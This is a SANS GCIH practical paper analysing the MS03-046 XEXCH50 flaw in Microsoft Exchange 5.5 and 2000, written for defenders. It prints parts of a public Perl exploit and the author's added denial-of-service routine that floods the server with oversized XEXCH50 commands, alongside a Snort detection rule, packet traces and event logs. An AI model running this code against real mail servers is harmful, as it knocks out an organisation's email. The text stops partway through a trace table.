Use offense to inform defense. Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

This paper is from the SANS Penetration Testing site. Reposting is not permitted without express written permission.

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
Bad ESMTP Verb Usage Equals Bad Times for Exchange

GIAC Certified Incident Handler (GCIH) Practical Assignment Version 3

Date of Submission: April 6, 2003

Student and GCIH Candidate: Aaron Smith
# Table of Contents

Abstract

1. Statement of Purpose

2. The Exploit
   A. Name
   B. Affected Operating Systems
   C. Affected Applications, Services, and Protocols
   D. Variants
   E. Description
      i. The Vulnerability and its Weakness
      ii. How the Exploit Works
   F. Signatures of Attack
      i. Snort IDS Log

3. Source and Target Environments
   A. Victim’s Platform
   B. Source Network
   C. Target Network
   D. Network Diagram

4. Stages of the Attack
   A. Reconnaissance
   B. Scanning
   C. Exploiting the System
   D. Keeping Access
   E. Covering Tracks

5. The Incident Handling Process
   A. Preparation
   B. Identification
   C. Containment
   D. Eradication
   E. Recovery
   F. Lessons Learned

References
Abstract
By detailing the attack methods of a malformed SMTP extended verb exploit, this paper discusses a serious vulnerability in Microsoft Exchange 5.5 and 2000. This vulnerability presents a risk to any individual or organization that relies on the affected versions of Exchange. This paper will detail the exploit and what the repercussions could be once the exploit occurs. To oppose the attack, the six steps of incident handling will be presented for the scope of the exploit. This paper and its author hope to assist system administrators in their duty, which includes security administration and incident handling. This paper should also be used as a reference for best practices for the securing of an Exchange email system to reduce the likelihood of successful exploitation of future attacks with a similar attack vector.

1. Statement of Purpose
The exploit described herein, affects Microsoft Exchange Server used for an organization’s email system. The application accepts malformed commands within the Simple Mail Transport Protocol, which could result in a Denial of Service or a buffer overflow allowing arbitrary code to execute. An attacker must craft a special message with the malformed Simple Mail Transport Protocol command and send it to the target Exchange server. The attacker’s goal is to disrupt the flow of email for the target organization or attempt to achieve control over the remote system.

The attack analysis will be performed within a controlled environment consisting of an attacker’s machine, a router and firewall at the perimeter of the target network, and the internal corporate network with a target Microsoft Exchange 5.5 server and a Microsoft Exchange 2000 server. The attacker’s machine will initiate the attack towards the each target Exchange server. An intrusion detection system will monitor the network traffic, the servers will monitor the attack at its destination with a variety of tools, and a workstation will host an email client to observe an email user’s experience.

By analyzing the exploit, this paper intends to share knowledge with system administrators on how to prevent systems from falling victim. The detailing of how the six steps to incident handling and how they are applied to this exploit will assist administrators in handling the same or similar incident on their email and network systems. The shared knowledge will first be composed of the exploit and how it works. Also the network, platform and application conditions needed for the exploit to work will be detailed. The six-step incident handling process will then be applied to the attack in question to better prepare administrators for this attack.
By the very nature of this document, system administrators will be participating in the first incident handling step, preparation. This document will entail preparation to defend against the chosen exploit and what is needed to handle an incident caused by the exploit. After one prepares, the identification of an attack by this exploit will be covered. The containment of an attack based on this exploit will show how to restrict further attacks of the exploit on target networks and how to handle affected computer systems. The fourth step is to eradicate the exploit from affected systems, and this document will detail how to handle affected Exchange servers and the systems that depend on them. Once the offensive exploit is removed, the systems will need to be recovered to various operation states. Finally, this document will detail what problems occurred during the incident handling steps.

2. The Exploit

A. Name

The exploit\(^1\) for the described vulnerability is known as MS03-046.pl. The exploit does not have a commonly known name.

The vulnerability that the exploit takes advantage of is referred to by several names. This is the case for most vulnerabilities found in software during the current time in information security. The multitude of names come from the software vendors and several security organizations that operate with separate charters to gather, organize, and present security information to the Internet audience. The exploit in this paper has several titles by well known organizations, starting with Microsoft Corporation whom is the vendor for the afflicted software.

Microsoft Corporation has named this exploit *Vulnerability in Exchange Server Could Allow Arbitrary Code Execution (829436)*. The Knowledge Base article released on October 15, 2003 is numbered Q829436\(^2\). Microsoft’s Knowledge Base is a collection of thousands of articles to assist in the dissemination of information from Microsoft about their products. Microsoft also creates security bulletins which detail problems surrounding security; therefore, the security bulletins are not merely informational, as is the case for Knowledge Base articles. From searching Microsoft’s website, it seems that the first security bulletin was created in 1998, for Windows NT 4 SP6a (MS98-001), which gives rise to the naming convention of ‘MS’ for Microsoft, ‘98’ for the year of the bulletin, and ‘001’ the number for that bulletin. For the exploit in this paper, the Security Bulletin is MS03-046\(^3\). This bulletin has been the 46\(^{th}\) bulletin in the year 2003.

The next name for this paper’s exploit comes from CVE; CVE stands for Common Vulnerabilities and Exploits. CVE is simply a list of vulnerabilities that
have been reviewed by the CVE Editorial Board⁴, and organized into a logical listing for use by the public. CVE is managed by the Mitre Corporation⁵, who also manages three Federally Funded Research and Development Centers (FFRDCs) for the DOD, FAA, and IRS. The Mitre Corporation receives funds from the Department of Homeland Security to operate the CVE. This paper’s exploit has the CVE number of CAN-2003-0714⁶. The exploit currently has the status of under review until it is reviewed and accepted by the CVE Editorial Board as an official vulnerability with correctly documented information.

The exploit is also listed at CERT’s Coordination Center. CERT stands for Computer Emergency Readiness Team, which is a US governmental body under the Department of Homeland Security⁷. The CERT Coordination Center resides at Carnegie Mellon University in the Software Engineering Institute which is funded by the US government. The CERT Coordination Center operates as a public service to coordinate security experts and disseminates information to the public⁸. The CERT vulnerability listing for this paper’s exploit is Vulnerability Note VU#422156⁹, titled Microsoft Exchange Server fails to properly handle specially crafted SMTP extended verb requests. This vulnerability was originally announced in CERT’s advisory, CA-2003-27 Multiple Vulnerabilities in Microsoft Windows and Exchange, on October 16, 2003.

Another highly respected source of vulnerability tracking is BugTraq. The BugTraq list of vulnerabilities is organized by Security Focus. Security Focus was purchased by Symantec Corporation. Security Focus is still operated as a separate organization to maintain the Security Focus website that is vendor neutral¹⁰. The Bugtraq ID is 8838, published on October 15, 2003, while the vulnerability is classified as a Boundary Condition Error and is exploitable remotely.

For this paper, the exploit in question will be referred to as the exploit; the previous names from each organization will be referred to as the vulnerability.

**B. Affected Operating Systems**


All of the previously stated operating systems are affected at any service pack level. Also, any combination of patches at the operating system level does not impact the effectiveness of the exploit positively or negatively. The patching, or
lack there of, does not affect the exploit due to its focused attack at the application level.

It is important to note that Microsoft Exchange will only function on the Microsoft Windows platform; this exploit does not affect any other operating systems. There also is a service included in the Windows 2000 Server operating system that handles relaying for SMTP traffic. The exploit does not affect this service due to the exploit’s targeting of SMTP extended verbs that only Microsoft Exchange utilizes.

C. Affected Applications, Services, and Protocols

The affected applications for this exploit are Microsoft Exchange versions 5.5 (Standard and Enterprise) and Exchange 2000 (Standard and Enterprise). These versions of Exchange have been released on their own and as an included software package in Microsoft’s BackOffice 4.5 and 2000 products; Exchange 5.5 and Exchange 2000 respectively.

Exchange is Microsoft’s product to fulfill the need for organizations to send and receive email on private and public networks. Exchange is a versatile application that can scale from a few users into the many thousands per organization. Users use email clients to communicate with the Exchange server via its native MAPI communications, or other protocols such as SMTP, POP, IMAP, or HTTP. The later three protocols are also available in secure SSL versions, meaning the email sessions are encrypted via the Secure Sockets Layer (SSL). All of these protocols run on top of the ubiquitous Internet Protocol (IP).

At the time of this paper, the latest service pack level for Exchange 5.5 is Service Pack 4. This is likely to remain true since Exchange 5.5 product support lifecycle ended mainstream support at the end of 2003, which is the point in a product’s lifecycle that Microsoft ceases to issue new security fixes for its products. The patch released by Microsoft does require Service Pack 4 for Exchange 5.5. Whether an Exchange 5.5 server is on Service Pack 4 or any previous Service Pack, the application is vulnerable.

Exchange 2000 is currently at Service Pack 3, which was released before this vulnerability was found. Microsoft has released a Post-Service Pack 3 Update Rollup; commonly known as a security rollup pack. This security rollup pack does include the fix for the vulnerability. Therefore, Exchange 2000 is vulnerable at any Service Pack level. The application must be patched with the particular patch for this vulnerability or the Post-Service Pack 3 Update Rollup package must be applied.

The affected versions of Microsoft Exchange are exploitable via the Simple Mail Transportation Protocol (SMTP). Microsoft Exchange uses SMTP to
communicate with other email servers on the Internet or within organizations (e.g. a corporate network). SMTP defines how email servers will communicate with each other. SMTP was standardized from several Requests For Comment (RFCs) and is a ubiquitous standard for email communications. Exchange 5.5 uses SMTP to communicate only with Internet email systems or between organizations. Exchange 2000 uses SMTP as its default communications protocol, and uses it to communicate between other Exchange servers within the same organization as well as foreign systems.

This feature in Exchange 2000 creates a much larger risk probability for the vulnerability to be exploited. If an administrator was watching for the exploit being communicated to the Exchange 5.5 server, they would only need to watch the traffic between the server and the external device to the Internet. If the administrator was watching for the exploit being directed towards an Exchange 2000 server, they would need to watch every logical network path to the Exchange server from external and internal sources.

There have been very few details on what service or executable are directly affected within the Exchange application suite. This paper will present further discoveries for this missing information. Exchange 5.5 and Exchange 2000 are composed of several Windows services and several executable files. Very little information exists in the public realm that describes the DoS upon the two Exchange versions, or the buffer overflow on Exchange 2000 in detail. Mr. HD Moore\textsuperscript{11} who produced an initial exploit was able to produce both the memory allocation and the application crash in Exchange. The exploit is coded, in its published form, to create an application crash via a buffer overflow. The exploit has been published in an ASCII text form; therefore it can be modified easily to force Exchange to allocate too much system memory for a DoS attack.

Also, if an exploit sends a special SMTP message, it is possible to perform a buffer overflow on Exchange 2000 and run arbitrary code. The exploit was not able to produce this action that is stated by Microsoft as possible. The exploit was used with several connections and combinations of command parameters, but the application crash only produced a memory stack crash by HD Moore. The crashes were at non-predictable locations in the memory stack. This is the most likely reason for why a separate exploit has not been released to the public that creates a buffer overflow and allows arbitrary code to be run.

\textbf{D. Variants}

The vulnerability has one publicly available exploit. The exploit was written by HD Moore whom is associated with Digital Defense\textsuperscript{12}. This exploit does not have any variants that have been released or made well known to the public. The original version of a sample exploit was written in the PERL programming language. This example only performs an application crash of Exchange. A
Denial of Service (DoS) attack against both Exchange 5.5 and Exchange 2000 is possible from a new configuration of the exploit.

During testing, the author of this paper modified the initially released exploit to perform a DoS attack against an Exchange 5.5 server (the initial exploit only performed a buffer overflow on an Exchange 2000 server). The PERL script was modified to incorporate a new DOS subroutine that is based off of the CRASH subroutine programmatic flow. The following code was added:

```perlinescript
1:   if (uc($mode) eq "DOS") { dos() }
2:   sub dos
3:   {
4:     my $s = SMTP($host, $port);
5:     if (! $s)
6:       {
7:       print "[*] Error establishing connection to SMTP service.\n";
8:       exit(0);
9:     }
10:  # the negative value allows us to overwrite random heap bits
11:  print $s "XEXCH50 100000000 2\n";
12:  my $res = <$s>;
13:  # a patched server only allows XEXCH50 after NTLM authentication
14:  if ($res !~ /354 Send binary/i)
15:     {
16:     print "[*] This server has been patched or is not vulnerable.\n";
17:     exit(0);
18:     }
19:  # sometimes a second connection is required to trigger the crash
20:  for ($i = 10; $i >= 0; $i--)
21:     {
22:     $s = SMTP($host, $port);
23:     print $s "XEXCH50 100000000 2\n";
24:     sleep(2);
25:     }
26:  for ($i = 10; $i >= 0; $i--)
27:     {
28:     $s = SMTP($host, $port);
29:     print $s "XEXCH50 10000000 2\n";
30:     sleep(2);
31:     }
32:  for ($i = 1000; $i >= 0; $i--)
33:     {
34:     $s = SMTP($host, $port);
35:     print $s "XEXCH50 1000000 2\n";
36:     }
37:  exit(0);
38: }
```

The code adds line 1 to allow a command line switch to toggle the DoS portion of the code. The first SMTP connection to the target and error handling on lines 4-10 are just like the other subroutines. The first code changed was line 11, where the original code performed an Exchange verb call of “XEXCH50 -1 2” to perform a buffer overflow against Exchange 2000. The code changed the first parameter
of the verb call to "100000000", which is roughly equivalent to telling the target server that a 100MB message is coming its way. This change was enough to perform the exploit against Exchange 5.5 with the critical results that are detailed in a following section for DoS attack against Exchange 5.5.

The next three FOR loops (lines 20-36) perform successive SMTP connections and inform the target server that further messages of large sizes are inbound. The first FOR loop states a message size of approximately 100MB, ten separate times. The second FOR loop states approximately 10MB, ten separate times also. The third loop states the message is approximately 1MB, but make 1000 separate connections. The justification for the FOR loop changes are in a following sections detailing a DoS attack against Exchange 2000.

**E. Description**

i. The Vulnerability and its Weakness

Microsoft Exchange communicates with other email servers via SMTP and Extended SMTP (ESMTP). Microsoft has added multiple extensions within its Exchange application for ESMTP including the XEXCH50 command. This command is referred to as a SMTP extended verb. This extended verb is not part of ESMTP standards, and has not been proposed in any RFCs or accepted by the Internet community as a standard. The exploit lies within this Microsoft proprietary extended verb and Exchange's processing of it.

According to Microsoft's Knowledgebase article 812455, the XEXCH50 command is meant to only be used between Exchange servers. The exploit in question uses this fact and sends values that are not checked properly before their execution to Internet accessible Exchange servers. The command is meant to communicate message properties about recipients and the message itself. The command itself is expected to be less than 50 bytes in length, according to Microsoft. The true vulnerability is that the command takes two parameters and that those parameters are not checked for boundary conditions. The program is expecting positive integers with a reasonable size specifying the message size. The exploit can send a very large number, which is interpreted as the amount of memory to allocate to hold the incoming message.

ii. How the Exploit Works

The XEXCH50 command has been described by the authors of Fluffy the SMTPGuardDog email protection software.

"Allows transfer of binary data with Exchange specific recipient information (eg plain text only versus MIME, etc). If accepted,
receiver SMTP servers sends 354 Send Binary data and sending SMTP server sends the number of bytes as the first parameter on the XEXCH50 command. Once these bytes are sent, the receiving SMTP server sends an acknowledgement

Another description\(^{16}\) of the command simply states that the command is used to transfer email between Exchange servers in the native Exchange format. The description explaining the sample exploit states that the XEXCH50 command has two parameters. The first parameter is the length of the message to be sent while the second parameter is only known, at the time of this document, to be the value of two or smaller integer values. If the first parameter is a very large value, Exchange allocates memory to accommodate the transfer of the expected binary data in the message. If the first value is a negative number, the recipient server will not allocate memory, but will accept data. This last scenario could be used to overwrite the server’s heap. A computer’s heap is a location in computer’s memory that allows space to be dynamically allocated to store data for a currently running program.

The actual exploit creates a SMTP connection, checks for the vulnerability, and then sends the exploit to the target Exchange server. A pseudo SMTP session of the exploit would look like the following:

1. Create a SMTP connection. This is performed by the PERL structure of ‘\texttt{IO::Socket}’. The actual command looks like the following excerpts from the published exploit:

   \begin{verbatim}
   my $s = SMTP($host, $port);
   sub SMTP
   {
      my ($host, $port) = @_; 
      my $s = \texttt{IO::Socket::INET}-\texttt{new} 
         {
            PeerAddr => $host, 
            PeerPort => $port, 
            Proto => "tcp" 
         } || return(undef);
   }
   \end{verbatim}

   The previous command would open an IP socket on the TCP protocol to a specified host on a specified port. The host is the target Exchange server, and the target port is 25. The TCP port of 25 is the standard port, but it may be different if the Exchange administrator has changed the SMTP port number. This would disable email communications with other email systems on the Internet. This type of change is usually used between an email relay in a DMZ and the internal email server for an organization.
2. Send the SMTP commands to set up a session. The code from the exploit executes as the following:

```perl
print $s "HELO X\r\n";
$r = <$s>;
return undef if !$r;

print $s "MAIL FROM: DoS\r\n";
$r = <$s>;
return undef if !$r;

print $s "RCPT TO: Administrator\r\n";
$r = <$s>;
return undef if !$r;
```

The previous code establishes the SMTP session, and when this is done, the sender must always say hello (actual command will be HELO or EHLO). The EHLO command establishes the session with the extended SMTP commands being used. This is very interesting that the exploit does not need to setup the SMTP session to use SMTP extended commands. Any of the X commands in SMTP is defined to be used in ESMTP. Any ESMTP command starting with an X is an experimental or private command; Microsoft did not issue any RFCs for this ESMTP extension. The unneeded use of an ESMTP session with the target Exchange server points out that standard SMTP sessions support the XEXCH50 extended verb and might support other extended verbs in use by Microsoft.

3. Determine if the server is vulnerable. The code from the exploit is as follows:

```perl
# the negative value allows us to overwrite random heap bits
print $s "XEXCH50 -1 2\r\n";
my $res = <$s>;

# a patched server only allows XEXCH50 after NTLM authentication
if ($res !~ /354 Send binary/i)
{
    print "[*] This server has been patched or is not vulnerable.\n";
    exit(0);
}
```

The exploit is sending the XEXCH50 command with a negative number as the first parameter. If this command is given with a negative number as the first parameter, the target system allows an incoming binary transfer. The target system does not allocate memory for the message though. This transfer of data without memory to store it produces an application crash.
If the first parameter is a large positive number, the Exchange server would allocate the same amount of memory specified to receive the message. The exploit checks the response from the server, and verifies if the server is requesting authentication before the use of the XEXCH50 command. As stated before, if the target server asks for authentication when using the XEXCH50 command, it has been patched previously or is a different version of Exchange that is not vulnerable (Exchange 2003).

4. Crash the application. The exploit code sends back the following response:

```perl
print "[*] Sending massive heap-smashing string...\n"
print $s ("META" x 16384);
```

The exploit is sending the target Exchange server a message that is 16,384 Bytes in size, so the data sent to the server overflows the memory stack. In this case of the exploit, the META statement after the XEXCH50 command sends data to the server in the form of the character x.

If the attacker desired to create a DoS, they would change the exploit code in step 3 to:

```perl
print $s "XEXCH50 999999999 2\n\n";
```

This command would tell the Exchange server that a message is being sent that is 999999999 Bytes in size. This value would need to be large enough to allocate enough system memory, known as RAM, to bring the operating system to a maximum state of resource allocation. The example used an approximately 1 TeraByte value; very few machines, if any, in the world have over 1 TB of RAM.

F. Signatures of Attack

The monitored events for the example network include a Snort IDS log entry, network traces, the Windows Event Logs from each server, and Windows Performance Counter Logs. The four attacks that were monitored for this paper were a Denial of Service (DoS) and buffer overflow (sometimes referred to as a memory stack crash) against a target Exchange 5.5 and Exchange 2000 server.

i. Snort IDS Log

Snort is an open source intrusion detection system. It has the capability to run on multiple platforms, but maintain its common detection rule base. The rule for this particular exploit is the following:
alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP XEXCH50 overflow attempt"; flow:to_server,established; content:"XEXCH50"); nocase; pcre:"/^XEXCH50\s+-\d$/smi"; reference:url,www.microsoft.com/technet/security/bulletin/MS03-046.asp; classtype:attempted-admin; sid:2253; rev:2;)

The Snort IDS rule\(^{17}\) watches for the use of XEXCH50 command with the first parameter of a "-1". This rule is the primary way to monitor for the exploit entering a target network; details on stopping the exploit are discussed later in this paper.

There was not a log entry for when the exploit was run in 'CHECK' mode. This mode sends the command "XEXCH50 2 2" to the target server. This means that Snort with the standard published rule will only log an alert when an attacker is attempting to perform a buffer overflow attack. The rule will not detect when an attacker is checking for the vulnerability or if the attacker is attempting a DoS with a large message size as the first parameter.

The following was the Snort IDS log entry when the buffer overflow attack was performed:

```plaintext
[**] SMTP XEXCH50 overflow attempt [**]
03/14-13:49:02.85509 0:B:DB:1D:C3:F6 -> 0:C:29:FB:41:2E type:0x800 len:0x44
***AP*** Seq: 0x436E7374 Ack: 0x76B34AEE Win: 0xF9DC TcpLen: 20 58 45 58 43 48 35 30 20 2D 31 20 32 0D 0A
XEXCH50 -1 2..
```

The Snort IDS alert was the same information whether it was directed at an Exchange 5.5 or Exchange 2000 server. This is logical since the SMTP traffic is exactly alike when attacking either one with the buffer overflow type of attack.

**ii. Buffer Overflow Attack Against Exchange 5.5**
The first attack is a buffer overflow against an Exchange 5.5 server. The buffer overflow attack is reported to not work according to Microsoft, but is listed here to see the difference between the responses from Exchange 5.5 and Exchange 2000 servers. The following network traces were captured during the attack; all traces were captured with Ethereal – Network Protocol Analyzer.

**Network Trace Summary:**

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.000000</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>TCP 4639 &gt; smtp [SYN] Seq=1527105480 Ack=0</td>
</tr>
<tr>
<td></td>
<td>Win=64240 Len=0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>0.007195</td>
<td>192.168.20.3</td>
<td>192.168.1.101</td>
<td>TCP smtp &gt; 4639 [SYN, ACK] Seq=65304 Ack=1527105481</td>
</tr>
<tr>
<td></td>
<td>Win=8760 Len=0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>0.007248</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>TCP 4639 &gt; smtp [ACK] Seq=1527105481 Ack=65305</td>
</tr>
<tr>
<td></td>
<td>Win=64240 Len=0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Server (Microsoft Exchange Internet Mail Service 5.5.2653.13) ready</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
As displayed above, the attacker at IP 192.168.1.101 is attacking the target at 192.168.20.2. The SMTP session is initiated and the attacker has sent the command ‘XEXCH50 -1 2’. The trace detail for the SMTP application is present in frame 15 with the following SMTP body:

**SMTP Application Trace:**
Simple Mail Transfer Protocol
Message: XEXCH50 -1 2

Remember this attack is against an Exchange 5.5 server, and is trying to perform a buffer overflow, which is not stated to work by Microsoft. This is apparent in frame 16 with the application message of:


### iii. DoS Attack Against Exchange 5.5

When the DoS attack is performed upon an Exchange 5.5 server, the following summary of the network trace is present and the results are immediate:

**Network Trace Summary:**

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.002350</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>TCP 7952 &gt; smtp [SYN] Seq=2265520994 Ack=0</td>
</tr>
<tr>
<td>2</td>
<td>0.008236</td>
<td>192.168.20.3</td>
<td>192.168.1.101</td>
<td>TCP smtp &gt; 7952 [SYN, ACK] Seq=84854 Ack=2265520995</td>
</tr>
<tr>
<td>3</td>
<td>0.008310</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>TCP 7952 &gt; smtp [ACK] Seq=2265520995 Ack=84855</td>
</tr>
<tr>
<td>4</td>
<td>15.991480</td>
<td>192.168.20.3</td>
<td>192.168.1.101</td>
<td>SMTP Response: 220 winnt4ex55.playgroung.test ESMTMP Server (Microsoft Exchange Internet Mail Service 5.5.2653.13) ready</td>
</tr>
<tr>
<td>5</td>
<td>15.992195</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Command: HELO X</td>
</tr>
<tr>
<td>6</td>
<td>15.995239</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Response: 250 OK</td>
</tr>
<tr>
<td>7</td>
<td>15.995685</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Command: MAIL FROM: DoS</td>
</tr>
<tr>
<td>8</td>
<td>15.998298</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Response: 250 OK - mail from &lt;DoS&gt;</td>
</tr>
<tr>
<td>9</td>
<td>15.998714</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Command: RCPT TO: Administrator</td>
</tr>
<tr>
<td>10</td>
<td>16.000091</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Response: 250 OK - Recipient &lt;Administrator&gt;</td>
</tr>
<tr>
<td>11</td>
<td>16.000354</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Message Body</td>
</tr>
<tr>
<td>12</td>
<td>16.070613</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>SMTP Response: 354 Send binary data</td>
</tr>
<tr>
<td>13</td>
<td>16.073385</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>TCP 7953 &gt; smtp [SYN] Seq=2269575790 Ack=0</td>
</tr>
<tr>
<td>14</td>
<td>16.175260</td>
<td>192.168.1.101</td>
<td>192.168.20.3</td>
<td>TCP 7952 &gt; smtp [ACK] Seq=2266521064 Ack=85053</td>
</tr>
<tr>
<td>15</td>
<td>16.176718</td>
<td>192.168.20.3</td>
<td>192.168.1.101</td>
<td>TCP smtp &gt; 7953 [SYN, ACK] Seq=212866</td>
</tr>
<tr>
<td>Ack=2269575791 Win=8760 Len=0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The message body for SMTP in frame 11 is as follows:

**SMTP Application Trace:**
Simple Mail Transfer Protocol
Message: XEXCH50 100000000 2

The attacker is attacking from IP address 192.168.1.101 to the target at 192.168.20.3. The fatal SMTP command was the XEXCH50 verb with a message size of approximately 100MB. The TCP connection was initiated again by the exploit, as shown in frames 13-16, to finalize the exploit by creating a second connection, which forces the previous session processed by the system.

The Internet Mail Connector service allocated memory and crashed within seconds of the command to allocate memory for the expected incoming message. The following screenshots include three entries in the Application Log of Windows NT on the target Exchange 5.5 server; these entries occurred in the order shown.

**Windows Event Logs:**

```
Event Detail
Date: 3/14/04  Event ID: 4037
Time: 10:07:07 AM  Source: MSExchangeMC
User: N/A  Type: Error
Computer: WINNT14EX55  Category: Internal Processing
Description:
An exception has occurred which was handled internally by the Internet Mail Service. This may have resulted in a message not being delivered.
Code: 0xc0000017 Flags: 0x00000000 Address: 0x7715d29
```
**Event Detail**

**Date:** 3/14/04  
**Event ID:** 9000

**Time:** 10:07:07 AM  
**Source:** MSExchangeMC

**User:** N/A  
**Type:** Error

**Computer:** WINNT14EX55  
**Category:** Internal Processing

**Description:**

This service is shutting down due to a shortage of memory. Please increase the virtual memory paging file space (using the System control panel applet) or add additional memory.

---

**Event Detail**

**Date:** 3/14/04  
**Event ID:** 1001

**Time:** 10:07:16 AM  
**Source:** MSExchangeMC

**User:** N/A  
**Type:** Information

**Computer:** WINNT14EX55  
**Category:** Initialization/Termination

**Description:**

The Microsoft Exchange Internet Mail Service shut down successfully.
According to the Event Log entries, the MSExchangeIMC service performed an internal processing error and ran out of memory that was allocated to that process. The third Event Log entry shows that the process terminates successfully after the internal processing and memory problems. In a default Windows NT 4 and Exchange 5.5 installation, the IMC does not restart automatically. Therefore, the service will remain in a stopped state until manual interaction is performed. An important note is that the application never crashes. There is no Dr. Watson log or a crash dump produced by Windows NT; the Event Log shows a successful shutdown by the MSExchangeIMC service.

The following performance counter log shows what is occurring with the MSEXCIMC process (the actual executable file name), which is the Windows internal process that the MSExchangeIMC service runs under.

**Performance Counter Log:**

Reported on \WINNT4EX55
Date: 3/14/04
Time: 10:32:54 AM
Data: Current Activity
Interval: 0.500 seconds

<table>
<thead>
<tr>
<th>Time</th>
<th>% Processor Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Thread Count</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
</tr>
</thead>
<tbody>
<tr>
<td>\WINNT4EX55</td>
<td>\WINNT4EX55</td>
<td>\WINNT4EX55</td>
<td>\WINNT4EX55</td>
<td>\WINNT4EX55</td>
<td>\WINNT4EX55</td>
<td>\WINNT4EX55</td>
<td>\WINNT4EX55</td>
</tr>
<tr>
<td>10:32:04 AM</td>
<td>0</td>
<td>208</td>
<td>0</td>
<td>3014656</td>
<td>34</td>
<td>78991360</td>
<td>1626112</td>
</tr>
<tr>
<td>10:32:05 AM</td>
<td>0</td>
<td>208</td>
<td>0</td>
<td>3014656</td>
<td>34</td>
<td>78991360</td>
<td>1626112</td>
</tr>
</tbody>
</table>

Continued results of the same data

Small change in metrics, most likely background process operating within the Exchange application

<table>
<thead>
<tr>
<th>Time</th>
<th>% Processor Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Thread Count</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:32:17 AM</td>
<td>4.878</td>
<td>214</td>
<td>113.946</td>
<td>3026944</td>
<td>34</td>
<td>78991360</td>
<td>1925120</td>
</tr>
<tr>
<td>10:32:18 AM</td>
<td>4.878</td>
<td>214</td>
<td>113.946</td>
<td>3026944</td>
<td>34</td>
<td>78991360</td>
<td>1925120</td>
</tr>
</tbody>
</table>

Continued results of the same data

<table>
<thead>
<tr>
<th>Time</th>
<th>% Processor Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Thread Count</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:32:32 AM</td>
<td>14.745</td>
<td>214</td>
<td>0</td>
<td>3026944</td>
<td>34</td>
<td>78991360</td>
<td>1957888</td>
</tr>
<tr>
<td>10:32:33 AM</td>
<td>14.745</td>
<td>214</td>
<td>0</td>
<td>3026944</td>
<td>34</td>
<td>78991360</td>
<td>1957888</td>
</tr>
</tbody>
</table>

Attack starts

<table>
<thead>
<tr>
<th>Time</th>
<th>% Processor Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Thread Count</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:32:34 AM</td>
<td>41.126</td>
<td>181</td>
<td>1110.883</td>
<td>2801664</td>
<td>18</td>
<td>69849088</td>
<td>3260416</td>
</tr>
<tr>
<td>10:32:33 AM</td>
<td>41.126</td>
<td>181</td>
<td>1110.883</td>
<td>2801664</td>
<td>18</td>
<td>69849088</td>
<td>3260416</td>
</tr>
<tr>
<td>10:32:34 AM</td>
<td>41.126</td>
<td>181</td>
<td>1110.883</td>
<td>2801664</td>
<td>18</td>
<td>69849088</td>
<td>3260416</td>
</tr>
</tbody>
</table>

Continued results of the same data; UNTILL the process crashes

<table>
<thead>
<tr>
<th>Time</th>
<th>% Processor Time</th>
<th>Handle Count</th>
<th>Page Faults/sec</th>
<th>Page File Bytes</th>
<th>Thread Count</th>
<th>Virtual Bytes</th>
<th>Working Set</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:32:41 AM</td>
<td>41.126</td>
<td>181</td>
<td>83.428</td>
<td>2650112</td>
<td>13</td>
<td>61247488</td>
<td>3108864</td>
</tr>
<tr>
<td>10:32:42 AM</td>
<td>41.126</td>
<td>181</td>
<td>83.428</td>
<td>2650112</td>
<td>13</td>
<td>61247488</td>
<td>3108864</td>
</tr>
</tbody>
</table>

The Performance Counter Log shows that the attack starts at 10:32:17 AM with a jump in processor time, a large number of page faults, and a decrease in the number of handles and thread counts. The size of virtual memory does not
change by much in this exploit. The virtual memory approximately reduces 17MB, most likely attributed to the reduction in handles and threads as the IMC as it starts to fail. The entire attack to crash timeline lasted 9 seconds for the Exchange server in this scenario. With this little amount of time, there is essentially nothing a system administrator can do when the attack has been initiated.


The buffer overflow attack against Exchange 2000 is very effective. The attack affects the InetInfo service, which handles the SMTP traffic for Exchange 2000. The following network trace shows what information was transmitted between the attacker and target.

**Network Trace Summary:**

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
